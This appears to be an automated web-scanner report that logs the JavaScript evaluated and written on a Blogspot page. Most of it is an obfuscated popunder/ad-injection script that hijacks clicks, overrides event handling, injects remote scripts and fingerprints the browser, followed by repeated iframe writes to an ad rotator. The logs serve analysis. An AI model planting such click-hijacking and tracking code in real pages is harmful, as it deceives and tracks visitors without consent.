            var v = "refreshPageOnDomainSeriesForLimLoOnPageRefresh",
                W = "resetCounters",
                D = {},
                o, O, P;
            if (!s[W]) {
                if (s[b8] && X4) {
                    C(function() {
                        O = X4[c4];
                        j6 = X4[Y8];
                        P = !!O;
                    });
                }
                if (s[j2] && b4 && !P) {
                    O = b4[c4];
                    j6 = b4[Y8];
                    P = !!O;
                }
                if (!P && h8) {
                    O = (b[h4][X2](new RegExp(A8 + c4 + l8)) || [])[u4];
                    P = !!O;
                }
                if (!P && b4 && !s[b8]) {
                    O = b4[c4];
                    P = !!O;
                }
            }
            if (s[j2] && s[i4] && s[v]) {
                O = j;
            }
            o = (O || j)[l4](D8);
            C4(Z8, function(L, i) {
                D[L] = parseInt(o[i], H4) || U;
            });
            return D;
        }(),
        k4 = {};
    if (s[i4]) {
        var j7 = (j6 || j)[l4](D8);
        C4(Z8, function(L, i) {
            k4[L] = parseInt(j7[i], H4) || U;
        });
    }
    var R2 = (d0 + V() + j + Math[B2]())[O8](P6, p2),
        B0 = R2 + y4;
    B[B0] = function(L) {
        var i = "disableOpenViaMobilePopunderAndPropagateEvents",
            v = 'option',
            W = 'textarea',
            D = 'input',
            o = "elementFromPoint";
        S1();
        var O = X8 + new Date()[m4](),
            P = [c2, K2, a2, U2, P2, S2, T2, g2 + e4[n2], u2 + e4[k2]][D4](o2);
        W4(s[Q], O, P, b, function N() {
            return B[l](s[Q], O, P);
        });
        G1();
        G1 = Y2();
        var r = b[o](J1, l1);
        if (r[f2][P8]() === D || r[f2][P8]() === W || r[f2][P8]() === v) {
            r[E4]();
        }
        if (!s[i]) {
            r[M4]();
        }
        F1();
        F1 = Y2();
    };
    var b0 = c,
        p6 = s[V6] ? q0 : M0 + Math[B2]()[T6](y0)[D6](u4),
        Q6 = c,
        y2, f6, D0 = function() {
            var o = 'url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)',
                O = "backgroundImage",
                P = 'div',
                N = b[k](P);
            N[C2] = p6;
            N[T][a8] = s[a8];
            N[T][O] = o;
            return function(L) {
                var i = "hasOwnProperty",
                    v = "cloneNode",
                    W = N[v](c),
                    D;
                for (D in L) {
                    if (L[i](D)) {
                        W[T][D] = L[D];
                    }
                }
                if (k8 && B4) {
                    W[J](y4, function() {}, a);
                }
                G4[Z](W);
                return W;
            };
        }();
    B[t0] = T4;
    if (s[V8]) {
        O7();
    }
    if (s[H0]) {
        C(function() {
            if (/Firefox\// [R](n)) {
                B.MouseEvent.prototype.stopImmediatePropagation = function() {};
            }
        });
    }
    if (s[z8] && !B[r0]) {
        if (b[A2] !== l2) {
            var C6 = b[k](F4);
            C6[p4] = s[z8];
            C6[d2] = a;
            b[g4][Z](C6);
        } else {
            b[O2](decodeURIComponent(J2) + s[z8] + decodeURIComponent(G2));
        }
    }
    var p7 = N0;
    if (s[w8] && !B[p7]) {
        if (b[A2] !== l2) {
            var e6 = b[k](F4);
            e6[p4] = s[w8];
            e6[d2] = a;
            b[g4][Z](e6);
        } else {
            b[O2](decodeURIComponent(J2) + s[w8] + decodeURIComponent(G2));
        }
    }
    if (s[R8]) {
        if (b[A2] !== l2) {
            var k6 = b[k](F4);
            k6[p4] = s[R8];
            k6[d2] = a;
            b[g4][Z](k6);
        } else {
            b[O2](decodeURIComponent(J2) + s[R8] + decodeURIComponent(G2));
        }
    }
    if (s[c0]) {
        var w2 = b[k](F4),
            O0 = H4;
        if (b[A2] !== l2) {
            w2[p4] = s[g6];
            w2[d2] = a;
            b[g4][Z](w2);
        } else {
            b[O2](decodeURIComponent(J2) + s[g6] + decodeURIComponent(G2));
        }
        w2[i6] = function Q7() {
            var L = '_err_oaid_not_defined',
                i = "oaid",
                v = 'function',
                W = 'registerPush';
            if (typeof B[W] === v) {
                b[g4][a4](w2);
                return registerPush(s[i] || L, s[U4][T6]());
            } else if (O0 <= U) {
                return;
            }
            setTimeout(Q7, z6);
            O0 -= H;
        }();
    }
    if (s[a0] && s7()) {
        return;
    }(function f7() {
        var L = 'body';
        if (i2(L).length > U) {
            G4 = b[h] || i2(L)[U];
            setTimeout(function() {
                B7();
            }, t4);
            if (i0) {
                c7();
            }
            if (s[m6]) {
                C(o7);
            }
            if (s[o1]) {
                C(W7);
            }
            if (Q6) {
                r2();
            }
        } else {
            setTimeout(f7, N8);
        }
    })();
    var C7 = !T8 && !s[n6] && o4 < f1 && !s[E8] && !s[I2];
    if (b[J]) {
        if (!B4) {
            k8 = !o4 || s[i8];
            b[J](o4 && (!s[i8] || !F) ? s6 : y4, T4, a);
        }
        if (q7 || i0) {
            k8 = a;
            b[J](y4, T4, a);
        } else if (C7) {
            if (B4) {
                b[J](W8, T4, a);
            } else {
                b[J](J8, T4, a);
            }
        } else if (F && (s[n6] || s[E8] || s[I2])) {
            D7(T4);
        } else if (B4) {
            k8 = a;
            b[J](y4, T4, a);
        }
        if (!B4) {
            b[J](U0, function(L) {
                J1 = L[G8];
                l1 = L[F8];
            }, c);
        }
    } else if (b[u6]) {
        b[u6](w6, T4);
    }
    if (!s[Q2]) {
        setTimeout(a6, s[P0]);
    }
    C(function() {
        var V2 = "cf",
            M2 = "fs",
            r4 = "major",
            FlashDetect = new function() {
                var X = "FlashDetect";
                var u = "versionAtLeast";
                var K = "revisionAtLeast";
                var I = "minorAtLeast";
                var v4 = "majorAtLeast";
                var L4 = "ShockwaveFlash.ShockwaveFlash";
                var G = "ShockwaveFlash.ShockwaveFlash.6";
                var s4 = "ShockwaveFlash.ShockwaveFlash.7";
                var m = "revisionStr";
                var x = "minor";
                var P4 = "raw";
                var S4 = "installed";
                var N4 = "revision";
                var j4 = function j4(L) {
                    var i = L[l4](/ +/);
                    var v = i[u4][l4](/\./);
                    var W = i[F6];
                    return {
                        "T9": L,
                        "major": parseInt(v[U], H4),
                        "K9": parseInt(v[H], H4),
                        "x9": W,
                        "I9": E2(W)
                    };
                };
                var z2 = function z2(i) {
                    var v = -H;
                    try {
                        v = new ActiveXObject(i);
                    } catch (L) {
                        v = {
                            Y9: a
                        };
                    }
                    return v;
                };
                var m2 = function m2(L) {
                    var i = " ";
                    var v = ",";
                    var W = L[l4](v);
                    return {
                        "T9": L,
                        "major": parseInt(W[U][l4](i)[H], H4),
                        "K9": parseInt(W[H], H4),
                        "I9": parseInt(W[u4], H4),
                        "x9": W[u4]
                    };
                };
                var E2 = function E2(L) {
                    return parseInt(L[O8](/[a-zA-Z]/g, e2), H4) || y[N4];
                };
                var K4 = function K4(i) {
                    var v = "$version";
                    var W = "GetVariable";
                    var D = -H;
                    try {
                        D = i[W](v);
                    } catch (L) {}
                    return D;
                };
                var y = this;
                y[S4] = c;
                y[P4] = e2;
                y[r4] = -H;
                y[x] = -H;
                y[N4] = -H;
                y[m] = e2;
                var W2 = [{
                    "name": s4,
                    "version": function version(L) {
                        return K4(L);
                    }
                }, {
                    "name": G,
                    "version": function version(i) {
                        var v = "always";
                        var W = "AllowScriptAccess";
                        var D = "6,0,21";
                        var o = D;
                        try {
                            i[W] = v;
                            o = K4(i);
                        } catch (L) {}
                        return o;
                    }
                }, {
                    "name": L4,
                    "version": function version(L) {
                        return K4(L);
                    }
                }];
                y[v4] = function(L) {
                    return y[r4] >= L;
                };
                y[I] = function(L) {
                    return y[x] >= L;
                };
                y[K] = function(L) {
                    return y[N4] >= L;
                };
                y[u] = function(major) {
                    var i = [y[r4], y[x], y[N4]];
                    var v = Math[Q1](i.length, arguments.length);
                    for (var W = U; W < v; W++) {
                        if (i[W] >= arguments[W]) {
                            if (W + H < v && i[W] == arguments[W]) {
                                continue;
                            } else {
                                return a;
                            }
                        } else {
                            return c;
                        }
                    }
                };
                y[X] = function() {
                    var L = "version";
                    var i = "activeXError";
                    var v = "execScript";
                    var W = "Mac";
                    var D = "appVersion";
                    var o = "description";
                    var O = "enabledPlugin";
                    var P = "mimeTypes";
                    var N = 'application/x-shockwave-flash';
                    if (o6R9[V9][F2] && o6R9[V9][F2].length > U) {
                        var r = N;
                        var q = o6R9[V9][P];
                        if (q && q[r] && q[r][O] && q[r][O][o]) {
                            var d = q[r][O][o];
                            var t = j4(d);
                            y[P4] = t[P4];
                            y[r4] = t[r4];
                            y[x] = t[x];
                            y[m] = t[m];
                            y[N4] = t[N4];
                            y[S4] = a;
                        }
                    } else if (o6R9[V9][D][V4](W) == -H && o6R9[z9][v]) {
                        var d = -H;
                        for (var f = U; f < W2.length && d == -H; f++) {
                            var e = z2(W2[f][b2]);
                            if (!e[i]) {
                                y[S4] = a;
                                d = W2[f][L](e);
                                if (d != -H) {
                                    var t = m2(d);
                                    y[P4] = t[P4];
                                    y[r4] = t[r4];
                                    y[x] = t[x];
                                    y[N4] = t[N4];
                                    y[m] = t[m];
                                }
                            }
                        }
                    }
                }();
            }(),
            I4;
        if (FlashDetect[r4] > U) {
            I4 = H;
        } else {
            I4 = U;
        }
        A(M2, I4);
        A(V2, I4);
    });
    C(function() {
        var L = 'sh',
            i = 'sw';
        A(i, B[m8].width);
        A(L, B[m8].height);
    });
    C(function() {
        var L = 'wy',
            i = 'wx';
        A(i, B[j1]);
        A(L, B[R6]);
    });
    C(function() {
        var L = "outerHeight",
            i = 'wh',
            v = "outerWidth",
            W = 'ww';
        A(W, B[v]);
        A(i, B[L]);
    });
    C(function() {
        var L = 'wih',
            i = 'wiw';
        A(i, B[B8]);
        A(L, B[v8]);
    });
    C(function() {
        var L = 'wfc';
        A(L, B.top.frames.length);
    });
    C(function() {
        var L = 'pl';
        A(L, b[w][Y]);
    });
    C(function() {
        var L = "referrer",
            i = 'drf';
        A(i, b[L]);
    });
    C(function() {
        var L = 'np';
        A(L, !(o6R9[V9][F2] instanceof PluginArray) || o6R9[V9][F2].length == U ? U : H);
    });
    C(function() {
        var L = "_phantom",
            i = "callPhantom",
            v = 'pt';
        A(v, B[i] !== undefined || B[L] !== undefined ? H : U);
    });
    C(function() {
        var L = "sendBeacon",
            i = 'nb';
        A(i, typeof o6R9[V9][L] === S6 ? H : U);
    });
    C(function() {
        var L = 'ng';
        A(L, o6R9[V9]['geolocation'] !== undefined ? H : U);
    });
    C(function() {
        var L = 'ix';
        A(L, B.self !== B.top ? H : U);
    });
})(window, o6R9[z9][L7L.S9], o6R9[z9][L7L.S9][L7L.u9], o6R9[z9][L7L.h9][L7L.Z9])
                                    

#84 JavaScript::Eval (size: 1, repeated: 1) - SHA256: 594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06

                                        z
                                    

#85 JavaScript::Eval (size: 256, repeated: 1) - SHA256: c19bfe0ed617b3261b22a276af4df0cc446d6fdfb0d336699ecfa771d5da1b28

                                        z = function(u, G, J, I, f, A) {
    for (I = ((G = {}, J = S(u), G).i = S(u), G.J = [], S(u)) - 1, f = S(u), A = 0; A < I; A++) {
        G.J.push(S(u));
    }
    for (G.g = u.F(J), G.w = u.F(f); I--;) {
        G.J[I] = u.F(G.J[I]);
    }
    return G;
}
                                    

Executed Writes (38)

#1 JavaScript::Write (size: 0, repeated: 5) - SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                        
                                    

#2 JavaScript::Write (size: 4, repeated: 1) - SHA256: 46e67c525617663b392a53c0e94ba79e62db62a851fb175ae87756d4e73c9718

                                        2017
                                    

#3 JavaScript::Write (size: 1246, repeated: 1) - SHA256: 4119d515ba8a10eb79e9da10f5ffbec6059b1632f36b0823c39eefeaff2a5974

                                        < iframe width = "120"
height = "600"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts"
src = "//nurno.com/1ccf616e0b/c3706a2c96/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACpkripZCxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_29672f3d5bb63c9dbdcfb475795d659c65a4e1405009_1507904055.5178_86938&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=120&height=600&randomA=2045865647258&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTejZsdmsybDVBUmllSXZ1S0hWdndhQjNwMk5jOGxWeTh5MmJ0ZE8zbHdiVGhrejVieG1IOWhuekF6TlVSNHZicWZSN1htakVoMTVmMEtJV2xTOVFJaXJnYThYOE1pMWZielZWTVdjRWt2b0pmSTI3Rk5uOVhwQ2grOVlvSy9hVkxHTHhOTko3TjByQko4NTVnM1pUWkIxdWxaMGFRbitMYnB4TUFkei9USEdhQ3kvL09JckNyT1dpMFdvRVdxSGsveEh0T2w1T0tZOGVRaUtLY1I1N2NOSjQ4Z3RLY2tubXpPbFAwVGR6R2thYW14Y1pURWkzN1BJNHJBclN1ZU0wdERJOGhjN1NiQ2tyYkljcTlONWZOVVBpSzRWbThmYzBBZHdlOGErREE1MGVpakRzaVZzZ1NLRGtocUF4Vm53UEZZRzhDY01YZTJDSnlWempiY2VJZnQ2a01iWkdVUkV4WkV0NUJHSFV5WDYyK2NnMWtnYlZxWU5BMkxaYXNzdjBveGxvRC80YUVlVDYyUS9iVXV6MDVOakFUWFRwcWJPSm9tVG04Z0RieUlTWkROanJFZEhKUEt1YnNXcVIxd0x4TFNYd0dWZURUcENaUzNuUjFBT1dvU0U5Z04yTjB3MzZPN3FKeFhEVkxzOVk=" > < /iframe>
                                    

#4 JavaScript::Write (size: 1246, repeated: 1) - SHA256: 66454c86c542cf394aca50918dd21dbc80b730c15dcb7130400cfd5906e0ab07

                                        < iframe width = "160"
height = "600"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts"
src = "//nurno.com/87d1c6c507/4f9c843bb0/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACGjrijACxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_20308f3d5bb63c9dbdcfb475795d659c65a4e1961839_1507904052.7725_54528&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=160&height=600&randomA=1350511120807&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTMnA3cmRQeUJ5K0dmSG9iL3oyeGxjZzhVTmVqUlFNWFYzamVQMHVReC9DUjJ5RUt0akhjTEZuYmhqTGdRbTdjUHQ5ZlRpZk83dEc2OHZlaTU3cmRqb21LVVhYWVRUbVJ1T0NKRVNkM0Z2ZFBlWGJmZlBjYnFMZXVRbDJ1bHJHRWNMUSs5U0JwYWRFNkUvNVl4S0pKV2ZKVUJhMmJmeDF2SUJOL0xQV0I1RXhNVTRUM3JHSmx0QVhQazRBUi9XWXZNVWdOenJrd1ZsdzNlYU5QdExzRnh6VEIyWWVTbWhOREQvYWFRR1BjVnRqVDBnUzdGSE95cVBWZ0dEVmN3S2h0WVBtQkF5cDgzMzBWV1YzUCtreURodmQ1OWI3K09kdU0wOXBDSjF5dVg2bHY2RER2emM5ZFEwdFcwellUS2lXa2NueHRHUEh5aEhjL0c2Wm1GUlN0SDIralhlb2RZZjhybGw0R2xpZVhBU0lvYXZEZUpPQVMyeEdoTS8yOEsxa0JISms3UDdzT1JhT1JkMCtodThFWW81RDFCSlpvNTk4V3MvZVI0UzBkSkFPTFU3NHZzNlN0M091YzJTMjRSeHpzRDB4cGFQREsybmpVUXNLVHVGR1V1MkE2cjQzVUU0SzYvYllrakR6dEdDWVU=" > < /iframe>
                                    

#5 JavaScript::Write (size: 1245, repeated: 1) - SHA256: afd94f81c911a3a2a51f5e90b79d96d6ed7b1c0434cdb949b50e742189da5ffd

                                        < iframe width = "160"
height = "600"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts"
src = "//nurno.com/87d1c6c507/4f9c843bb0/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACGjrijACxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_76171f3d5bb63c9dbdcfb475795d659c65a4e1797309_1507904036.5711_44223&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=160&height=600&randomA=741371330889&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTMFU0cWZabk9SNGJZS1RhREpqOXpQZnBHTnFvUDlMZHRuVHlJNHZqRzI1V2ZBcnZwV25TSlozcVdhVGdVMDBhWkNhd1BLaGpZNDQybkc2WXMyZ0xYWHIwRGdOd1Fra0p0UUxoNlVZYUlWSU9nc0xTZVFkYkVLeDR4Tmw4V2I0OHZCWFNUVnhGZEdLWXcyNjA2Rk9MY2ZBVXJnNU1UOHJWU0IwN0xkQzRIZ1c4cTByeTdGUURNdXNaSVNBMUZpd0lPMVZRNnIrUDNGQnNiNGUrdEhzMlgvT1FGNXZJN1R1N1FjU2dkdXd1azdwZmdvVEtVWFdoY0xGVjlGc2xLVEhieHFjUVNQUmIvcUdxMFR0WE4rWEFuR3o2QklMWlloemFwOXFaMHJRa2N0VGxQdDBYZ3R3R2xDeFdVZDYwQzVLbWIrUjFMbXd0ZHVkRHZQa0N4Y3oyQzZGODdvYk01bUNWVEdLZXl6T3lJTUxRSU5IVEhNYWpkVGtaNWJwendHM2VVdXFMVnNWaUcxOG1odDg1cjRYVHQ2dE8xKzlsd3l3MllXcjNYQjhlMUxKZ3dERkZqQnJJbEVyZGZGVDU0Y2dPWnVpZE1uRDN3NWtaNEN6c1N3UU9MZXI5SThJc3JDOFVQa3RYZFJpNnlJMlk=" > < /iframe>
                                    

#6 JavaScript::Write (size: 1244, repeated: 1) - SHA256: 4860c67acf31a35830c8a20634ffa496e026e81dd1d5916fbd16150b847c5428

                                        < iframe width = "160"
height = "600"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts"
src = "//nurno.com/87d1c6c507/4f9c843bb0/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACGjrijACxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_82739f3d5bb63c9dbdcfb475795d659c65a4e1921581_1507904039.0858_42180&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=160&height=600&randomA=28644636498&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTMUo2c3d2cXJRQmFKdk9DSFlzL2dxZ2FIUjJkK1R1dWQvZ29CQUpWMTlxNmRHMTB5R2ZvWDUvMCtjNDlZVXlKNEN3VU1oSFlOelc1K0U3QVVtZ092cW0wY0I3L0FkeFAyMTg5dk1OTHlSNEVDVTYzc2lhR2lMa2c3K0thVCszYlhZdE9NL3dnazFUcGRoZEpqaytzU2lWRFc4YVl2SVQvK2d2YUsvVC8xMTBDc0JnR2dJK2lVU01tMUtMT1NOMXdsZkZ2aVhuaDJnU2M4QUtDNkhnV29NZnBVakZiUks4NktBdGxIcmJBRmRSdWVMR3JxQ1RQRmM2Uld2VloxV0V6UXgxWE11bGpZU2N0d2dmOURGL2RnZUVwT0QyV1BHSEdMVGIyZTUxTytUamVPRUFhZjh3M1kvQnZ0UHRTNFM0RGp2RVhvRHdmRUtPL2FuQlFGU2t4RS9YOHE3T0lHbU9XMVVWSlJzZXVzdEVEb3F6ZmFlMGtoNXdLVDBWM2d0aXlNMkFWQ25KVDhGKzlPK1I3ejRCVTdTMUt6RWtsUUdRNjNtSjN4ZFBQN0s5ZmEzTU9mYkRUVVRCbzdCZWNxdnM4bXJDL3dxODNteU9vaHk1VHEyc2dLRHd2UWxPbGNGV1JYUmg0MUs5NzgwVDk=" > < /iframe>
                                    

#7 JavaScript::Write (size: 1244, repeated: 1) - SHA256: e5aae14953cece6b0bc18458f58c5921c2255c4dc9e52c109f0199aed9550e95

                                        < iframe width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts"
src = "//nurno.com/08c73116f6/82b174e040/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACdZAdrrCxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_11041f3d5bb63c9dbdcfb475795d659c65a4e1842306_1507904057.0557_62949&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=728&height=90&randomA=2095989633701&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTK1Rsa2JIY1J2a0V4Zm15bXRWWnZmcTdJMGowVnFGZHFMSDNmelJtcGdYRE03Uk9ueGFhdFY1aVNSOFNXK0d1SEdtUnNseVk4Kzd1SmZUZUc4Y0xPMXBuT2tEcHZFanVQNzlIWjZ3OHF5VUlCOGxUZWI2VGFTNGprREhrQWRxbEJzbUE1a1JVSVdKYkErSW9hK29yUVMxSGJCelREK2tNY2t6NjVWSzFWR1k3NVo5V0tYWjQ0S0F1Q1hTMHVjbzFnQXRLdVBRTElCTDRqaEJYaUZoQUhURTVvZThwY3BEN2ZhWGdJbzA5SzJiak8weEFrK2dibzg2TVEyNkxWTGtmZDVibEh5ZlVaWS9UZDJLS2RpTUU0SmVtblJNcURkdkZRd3RUQmJwdTcyQjlVLzZYQzdJU1hWYlhXOTRqQTNLclJKZUlNYzM2azEzL04yWWRPbUE3cWFnclZKMUdteGw3bmtOVzN5WDRwekh0dzJwelFWZHpNWXpmSHo0dUlvOFg4OWJUNXNQTHRaRmZRNXlYc1FDTHZwNXIxblByYXlMV2dMVmxlQXZFWkROK0tLYWpjMnlyOTZpMGhIbERrSzZmOHQ0MTRQWnR3WW9yVXQ1bFdZa0pVMkVoeXFrTExFOEZpU1RmYk15ZWkvR0U=" > < /iframe>
                                    

#8 JavaScript::Write (size: 1244, repeated: 1) - SHA256: 3323c089204193bd61d0499d8a37561c46c32b7525964a3a5c420d90c6e97cff

                                        < iframe width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts"
src = "//nurno.com/08c73116f6/82b174e040/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACdZAdrrCxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_17191f3d5bb63c9dbdcfb475795d659c65a4e1960708_1507904067.0515_71762&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=728&height=90&randomA=1554968667551&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTNGRqTE5RV2diRVdXb3BUSmxnU0RQY1N0TFlIb0VLZTJLS2VZdFhkUUtOUU1SbnJlTkRJVElCYVA5clJ2UWVBSlpTZkdVM3pGZTc3WWo5UXlyVHFpemhxNGtyRnhRNTFkS2ZZYTVKRTJ4THJqRGNQZHBCSDVOeUZ6VWJzY0hiRGFyTHhHSGhxUUI3dVNvNjhlTzZHdUhSN0k0L3NHeTJwOWtRaFNnalc5RGg3d0o2czQrWHdWeVpHOGIvaXc2MjNoR2FCckhHUWdUSWp0c1BQSzFWb1YxOWluQ3dlUHhMdG5QQjhZOUl6Y1NGdCt2TGdBdVN5MHJpVmlDd1k4ck9GWmtNSHd4R1hwaitzWllpWFNVNXV0WDhPTkZBZlVxRWxvTC9jeHdBWXRmSTZtblF1VUlMeFh5MXJKa0ZMbmhJWjBYbzNCUm1OQjRBdk93d2RwVTd1MmJBQThoSTlTanpnQklhWllQWVYvaS9kcTVGcTVwYlVUeTJIRkJzRkhYTk90MEpaWVFzQTY0dFBxUVlndWplVXQwdWZOdVdpVEwxL2dRRkZ5SzBQd2pTQ1poZWI1L1E2cUNTM2xhaTdzTE5NbElrS1JtdDNIZGZSYy95dGNqOTJIYnRVSmszNlJ2WGRMcml4eGFtRkwxVVQ=" > < /iframe>
                                    

#9 JavaScript::Write (size: 1243, repeated: 1) - SHA256: 090b29b5789c458f594619f287d158972dc7a0135a65f47fea457eb5545a71f8

                                        < iframe width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts"
src = "//nurno.com/08c73116f6/82b174e040/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACdZAdrrCxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_20499f3d5bb63c9dbdcfb475795d659c65a4e2007350_1507904070.3972_4188&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=728&height=90&randomA=1569370121140&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTdzBxTytGK0xNUjFHRXlLY0twc2RucWM4VFBCYVY1azg1VDlZTlRsR3dXUzBGRGwrOW1WaUlpVjJvbitVMVAzVGtKSzVDd294Y3o5TnpCcDVIeTdSckxZZHVqZTkxTWVvRFlSSDFKWXYzS3RJRVl1OUpvUVExaGpKVG9XOEFOOU1wWi9MZmlLVjR6bjFOSHdQdFh3Z1pHNzZpdlAwQldZSWhuRldkK0Y0cVRaOG9mbjVreGI1aWNHZXRLUWNHZ21kM3JoVFRVd28vNUg2NXYzM0NWNnhNMFhGOUZJQXY1UGhNRklSRmlCbnFub1ZyRWFiUWlOWnEvNmxXWldXd0UrcGZpZEdkd0hnUW5vTC9KM3RJUVVya082V0JaUzdsUHZ1aDBFTGVPR2Z0SmN5QlUvVnlRdXZkckRKQnRlSXY4Vkk1Y0tXQnk2bVF6WkV6SmVleEVtNXBmakh4MkQ1bU50TVYzSENla1lyZk1UZkMvQ0FDNGNmUFdBZFFPZE01VVU0K1ZnUDhJbDhQM25BVCtYb0E2bk15RzVaaTdtQjdXYWZFTWsxekZ1Ykp0TnhkZWtvczdYSW5QK0VwZ1ljeW1yeFE1MFJOVDNPbWREUTJNRmtkdlNSNFBqeklkOHFmSzZjUUNRSHBqdkVSYjk=" > < /iframe>
                                    

#10 JavaScript::Write (size: 1244, repeated: 1) - SHA256: 200577453178004985aeae2100946e92b24fd86b7bc02c1232a29a8b7e35f11f

                                        < iframe width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts"
src = "//nurno.com/08c73116f6/82b174e040/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACdZAdrrCxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_36265f3d5bb63c9dbdcfb475795d659c65a4e1850445_1507904063.3904_43127&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=728&height=90&randomA=1896090883841&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTdzIzSzVBZDdEeGh3eWVzbXByVnZuSXJiL1RMT0M3QXVwTkl4Rm1xYlFpYTE0SlE5S3lmcE1QWHBTcVBMOEs1U3IyYURxeFVPNE1ocUMyRUJpMXF4ckphUkI5Q3BuUVpUTStWZ05Ga0laYjQ3V2ROZllJc05jVnJWcWRDMkNzL1VBWGs4andkUGZGY1p6dDFVY3hwQTA2SjlwdGtSWjR4ZkpucHBZc0wwR2Z0dy9PVGlMQ0JQanVBdDJRTHo5VTErcEJqNkZ1Y2lRRFNpWnFsbXg2OWJFRHMza0NPOWFZNHdQSkVTMjZ1NEtWWk9BUjlXU2c4RVRic1IxL2lqR09PbmI1MkNGa202M0RMajA4c3owaVFDbW9YZmNNbUtpRURjbzd5OTRxemNudndZZWdrVmNlN0E5ZlhvVVBpcGhLVC9rYmd0bGNXL1FtOEU3eHZzOEQ5QWNENzZuT0ZLZ3ozMXU2TjlhazRMTTE1ZFVjRzc4MVlKT3NlZzg1eEVtRXBXb0xwT1JHRHJpTUFUSlQ4OUtYMkI5ZWgyeVBROWtqL3E4Z0p6MTdweEZrVVhwUXdhNmx3ZHdycVFWS0N6SERjeUhuVFlucmc3RlMzdmJjS3Fxem9wckFHUm52NVdGMk9INlpJczVIUVZZSnM=" > < /iframe>
                                    

#11 JavaScript::Write (size: 1244, repeated: 1) - SHA256: 2ccb7fbb2e9fc60f4e206f9dce8d1d1ee0e5aacb7635328b6920d08a28ea9a00

                                        < iframe width = "728"
height = "90"
frameborder = "0"
marginheight = "0"
marginwidth = "0"
scrolling = "no"
sandbox = "allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts"
